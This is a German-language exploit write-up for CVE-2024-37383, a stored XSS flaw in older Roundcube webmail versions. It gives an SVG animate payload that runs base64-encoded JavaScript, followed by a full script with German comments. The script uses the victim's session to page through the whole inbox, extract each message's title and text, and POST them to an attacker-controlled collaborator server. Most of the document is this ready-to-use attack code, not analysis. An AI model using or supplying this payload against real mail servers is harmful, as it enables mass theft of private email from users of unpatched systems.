
Roundcube-Mailserver-Exploit für CVE-2024-37383 (Stored XSS)
Die Sicherheitslücke CVE-2024-37383 wurde im Roundcube Webmail-Client entdeckt. Es handelt sich um eine gespeicherte XSS-Schwachstelle, die es einem Angreifer ermöglicht, JavaScript-Code auf der Seite des Benutzers auszuführen. Um die Schwachstelle auszunutzen, muss der Angreifer lediglich eine bösartige E-Mail mit einem Roundcube-Client öffnen, der älter als Version 1.5.6 oder zwischen 1.6 und 1.6.6 ist.
<animate>-Tag in eine Datei einbetten und an den Server senden. (Es wird empfohlen, einen SMTP-Server zu konfigurieren, um eine bösartige E-Mail zu versenden.)<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Dieser Code automatisiert den Abruf aller Nachrichten aus dem Posteingang eines Roundcube-Webmail-Servers und die Weiterleitung dieser Daten an einen bestimmten Collaborator-Server-Endpunkt.
Die Haupt-Webmail-URL (Ziel) und die URL des empfangenden Servers (Angreifer-Server) werden zu Beginn als Variablen definiert, um eine einfache Konfiguration zu ermöglichen.
Die Funktion getPageCount sendet eine GET-Anfrage an die Haupt-Webmail-URL, um Metadaten abzurufen, einschließlich der Gesamtseitenanzahl (pagecount). Wenn die Seitenanzahl gefunden wird, durchläuft sie jede Seite.
Für jede Seite von 1 bis pagecount wird eine paginierte URL erstellt, um diese Seite anzufordern. Die Antwort jeder Seite wird mithilfe eines regulären Ausdrucks nach Instanzen von add_message_row(NUMBER) durchsucht, wobei die Nachrichten-IDs extrahiert und in einer Liste gesammelt werden.
Für jede Nachrichten-ID wird eine URL erstellt, um detaillierte Daten zu dieser Nachricht anzufordern. Es wird eine GET-Anfrage für jede Nachrichten-ID-URL gesendet, und die vollständige HTML-Antwort wird empfangen.
In jeder Nachrichtenantwort wird mithilfe von regulären Ausdrücken der <title> (Nachrichtentitel) und der Hauptinhalt der Nachricht erfasst. Alle HTML-Tags werden aus dem Nachrichteninhalt entfernt, um nur den reinen Text zu behalten.
Für jede extrahierte Nachricht wird eine POST-Anfrage an den Server-Endpunkt mit dem Titel und dem bereinigten Nachrichteninhalt gesendet, URL-kodiert für die korrekte Übertragung.
// Konfigurationsvariablen
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Anfrage mit Anmeldeinformationen konfigurieren
req.open('GET', url, true);
req.withCredentials = true;
// Antwort-Handler definieren
req.onload = function() {
if (req.status === 200) {
try {
// Antwort als JSON parsen
let jsonResponse = JSON.parse(req.responseText);
// Auf das pagecount-Feld zugreifen
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array zum Speichern aller Nachrichten-IDs
let allMessageIds = [];
let completedRequests = 0; // Anzahl der abgeschlossenen Anfragen verfolgen
// Schleife zum Anfordern jeder Seite
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// URL mit der aktuellen Seitenzahl erstellen
var paginatedUrl = `${url}&_page=${currentPage}`;
// Anfrage konfigurieren
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Antwort-Handler für jede Seite definieren
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Antworttext abrufen
let responseText = pageReq.responseText;
// Regex zum Finden aller Instanzen von this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Alle Übereinstimmungen finden und die Zahlen extrahieren
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Fehlerbehandlung für Seitenverarbeitung
}
}
completedRequests++; // Anzahl der abgeschlossenen Anfragen erhöhen
// Prüfen, ob alle Anfragen abgeschlossen sind
if (completedRequests === pageCount) {
// Alle Nachrichten-IDs durchgehen und URLs mit jeder ID erstellen
allMessageIds.forEach(id => {
// Neue URL mit der aktuellen Nachrichten-ID erstellen
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Anfrage für jede erstellte URL stellen
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Antwort-Handler für die Nachrichten-Anfrage definieren
messageReq.onload = function() {
if (messageReq.status === 200) {
// Antworttext abrufen
let messageResponseText = messageReq.responseText;
// <title>-Inhalt mit Regex extrahieren
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "Kein Titel";
// Regex zum Extrahieren des Hauptnachrichteninhalts
var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// HTML-Tags aus dem Nachrichteninhalt entfernen
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // HTML-Tags entfernen
// Bereinigte Nachricht und Titel per POST an den Benutzer senden
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Netzwerkfehler für die Nachrichten-Anfrage behandeln
messageReq.onerror = function() {
// Fehlerbehandlung für Nachrichten-Anfrage
};
// Anfrage für die aktuelle Nachrichten-URL senden
messageReq.send();
})(newUrl);
});
}
};
// Netzwerkfehler für die Seiten-Anfrage behandeln
pageReq.onerror = function() {
completedRequests++; // Anzahl der abgeschlossenen Anfragen auch bei Fehler erhöhen
};
// Anfrage für die aktuelle Seite senden
pageReq.send();
})(page);
}
}
} catch (error) {
// Fehlerbehandlung für JSON-Parsing
}
}
};
// Netzwerkfehler für die erste Anfrage behandeln
req.onerror = function() {
// Fehlerbehandlung für erste Anfrage
};
// Anfrage senden
req.send();
}
// Funktion zum Senden der bereinigten Nachricht und des Titels per POST an den angegebenen Benutzer
function sendMessageToUser(message, title) {
var postReq = new XMLHttpRequest();
postReq.open('POST', attackerserver, true);
postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Antwort-Handler für die POST-Anfrage definieren
postReq.onload = function() {
// Antwort-Handler für erfolgreiches Senden
};
// Netzwerkfehler beim Senden der Nachricht behandeln
postReq.onerror = function() {
// Fehlerbehandlung für Nachrichtenversand
};
// POST-Anfrage mit URL-kodiertem Titel und Nachrichteninhalt senden
postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}
// Verwendung
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);